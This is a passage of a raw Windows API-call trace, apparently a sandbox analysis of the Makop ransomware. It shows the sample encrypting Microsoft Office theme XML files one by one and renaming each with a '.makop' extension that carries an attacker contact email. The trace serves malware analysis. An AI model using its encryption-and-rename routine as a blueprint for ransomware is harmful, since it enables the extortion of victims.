(in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.573] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.574] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.574] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.574] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.574] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.574] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.574] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.574] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c1, lpOverlapped=0x0) returned 1 [0158.575] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.575] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.575] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.575] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.575] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.575] SetEndOfFile (hFile=0xf0) returned 1 [0158.582] GetProcessHeap () returned 0x48a0000 [0158.582] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.582] GetProcessHeap () returned 0x48a0000 [0158.582] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.582] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0158.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.584] CloseHandle (hObject=0xf0) returned 1 [0158.584] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0158.584] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml") returned 75 [0158.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.585] GetProcessHeap () returned 0x48a0000 [0158.585] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.586] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.586] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.586] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.586] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.586] GetProcessHeap () returned 0x48a0000 [0158.586] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.586] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.586] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.587] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.591] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.591] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.592] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.592] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.592] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.592] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.592] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.592] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.592] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c0, lpOverlapped=0x0) returned 1 [0158.593] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0) returned 1 [0158.593] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.593] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c0, lpOverlapped=0x0) returned 1 [0158.593] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.593] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.593] SetEndOfFile (hFile=0xf0) returned 1 [0158.599] GetProcessHeap () returned 0x48a0000 [0158.600] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.600] GetProcessHeap () returned 0x48a0000 [0158.600] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.600] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0158.600] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.608] CloseHandle (hObject=0xf0) returned 1 [0158.608] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0158.608] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml") returned 76 [0158.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.612] GetProcessHeap () returned 0x48a0000 [0158.612] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.612] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.612] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.612] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0158.617] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.617] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.617] GetProcessHeap () returned 0x48a0000 [0158.617] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.617] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.617] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.617] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.617] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.617] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.617] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.618] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.618] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.618] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.618] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.618] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.618] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c1, lpOverlapped=0x0) returned 1 [0158.641] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.641] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.641] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.641] SetEndOfFile (hFile=0xf0) returned 1 [0158.647] GetProcessHeap () returned 0x48a0000 [0158.648] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.648] GetProcessHeap () returned 0x48a0000 [0158.648] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.648] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0158.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.662] CloseHandle (hObject=0xf0) returned 1 [0158.662] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0158.662] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml") returned 79 [0158.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.663] GetProcessHeap () returned 0x48a0000 [0158.663] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.663] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.664] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.664] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0158.669] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.669] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.669] GetProcessHeap () returned 0x48a0000 [0158.670] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.670] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.670] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.670] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.670] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.670] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.670] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.671] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.671] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.671] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.671] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.671] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.671] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c4, lpOverlapped=0x0) returned 1 [0158.671] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.671] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.672] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.672] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.672] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.672] SetEndOfFile (hFile=0xf0) returned 1 [0158.678] GetProcessHeap () returned 0x48a0000 [0158.678] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.678] GetProcessHeap () returned 0x48a0000 [0158.678] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.678] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0158.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.681] CloseHandle (hObject=0xf0) returned 1 [0158.681] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0158.681] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml") returned 77 [0158.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.683] GetProcessHeap () returned 0x48a0000 [0158.683] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.683] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.683] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0158.687] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.687] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.687] GetProcessHeap () returned 0x48a0000 [0158.687] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.687] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | 